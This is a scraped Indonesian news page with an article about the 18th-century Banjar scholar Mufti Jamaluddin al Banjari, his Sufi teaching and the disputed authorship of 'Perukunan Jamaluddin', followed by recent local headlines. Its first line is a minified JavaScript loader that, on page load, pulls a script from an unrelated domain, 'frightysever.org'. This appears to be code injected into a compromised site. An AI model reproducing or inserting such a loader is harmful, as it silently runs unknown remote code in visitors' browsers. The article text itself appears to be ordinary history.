(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

Mufti Jamaluddin Al Banjari, Ahli Hukum Pemegang Surat Wasiat Sultan Adam


Pada abad ke-18, Mufti Jamaluddin al Banjari berperan besar dalam mengembangkan sufisme di Marabahan, yang kini termasuk daerah di Kalimantan Selatan. Aliran sufisme ini secara khusus mengajarkan tarekat Naqsyabandiyah dengan suluk-nya dan tarekat Syadziliyah. Sebagai puncaknya, aliran sufisme ini dikembangkan oleh puteranya, Abdusshamad, yang merupakan buah perkawinan Mufti Jamaluddin al Banjari dengan penduduk lokal bernama Samayah binti Sumandi. Abdusshamad kelak menjadi wali besar di tanah Dayak, sehingga bergelar Datu Abdusshamad Bakumpai.

Belum ditemukan data tentang kapan Mufti Jamaluddin al Banjari wafat. Data yang ada hanya menyebutkan bahwa ia wafat di Sungai Jingah.

Mufti Jamaluddin Al Banjari juga memiliki sejumlah karya yang sangat berpengaruh dalam literatur Melayu. Di antaranya adalah ‘Perukunan Jamaluddin.’ Dalam berbagai versi, karya ini ditulis degan nama: Perukunan, Perukunan Besar, dan Perukunan Melayu.

Karya ini diterbitkan oleh Mathba’ah al Miriyah al Kainah, Mekkah, pada tahun 1315 H/1897 M. Dalam berbagai versi, ada yang menyebutkan bahwa karya ini sesungguhnya milik saudara perempuannya yang bernama Syarifah binti Syeikh Muhammad Arsyad al Banjari.

Martin van Bruinessen berpendapat bahwa karya tersebut adalah milik anak saudaranya yang bernama Fatimah binti Syekh Abdul Wahab Bugis. Meski meyakini fakta yang demikian, namun Martin van Bruinessen belum mengetahui alasan mengapa karya tersebut menggunakan nama Mufti Jamaluddin al Banjari, sehingga menjadi ‘Perkumpulan Jamaluddin’.

Tapi Wan Mohd Shaghir Abdullah berbeda pandangan dengan Martin van Bruinessen bahwa karya tersebut memang benar-benar milik Mufti Jamaluddin Al Banjari. Dalam tulisannya, Wan Mohd Shaghir juga mengakui bahwa siapa pemilik sesungguhnya karya tersebut memang masih dalam perdebatan.

Sebenarnya ada banyak karya Mufti Jamaluddin al Banjari yang lain. Salah satu yang berhasil diidentifikasi adalah karyanya yang berjudul ‘Bulugh al-Maram fi Takhalluf al-Muafiq fi al-Qiyam’ (1247 H/1831 M). Sementara itu data tentang karya-karyanya yang lain masih dalam proses pengumpulan data.(cel/melayu online/berbagai sumber)

Reporter: cel/melayu online.berbagai sumber
Editor: Chell

Page: 1 2

AddThis Website Tools
Desy Arfianty

Recent Posts

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

18 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

18 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

19 jam ago

PLN Bangun Fasilitas MCK di MTs Al Ikhlas Longkali

KANALKALIMANTAN. COM, TANA PASER - Bentuk kepedulian sosial kepada masyarakat, PT PLN (Persero) melalui Unit… Read More

19 jam ago

Sistem Penerimaan Murid Baru 2025, Kadisdik Banjarbaru: Tak Ada Sekolah Unggulan

KANALKALIMANTAN.COM, BANJARBARU - Sistem Penerimaan Murid Baru (SPMB) menjadi acuan Pemerintah Kota (Pemko) Banjarbaru melaksanakan… Read More

20 jam ago

Lahan 32 Hektare Ditanami Padi di Desa Tambalang Hilir, Ini Kata Bupati HSU Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Wakil Bupati Hero Setiawan,… Read More

22 jam ago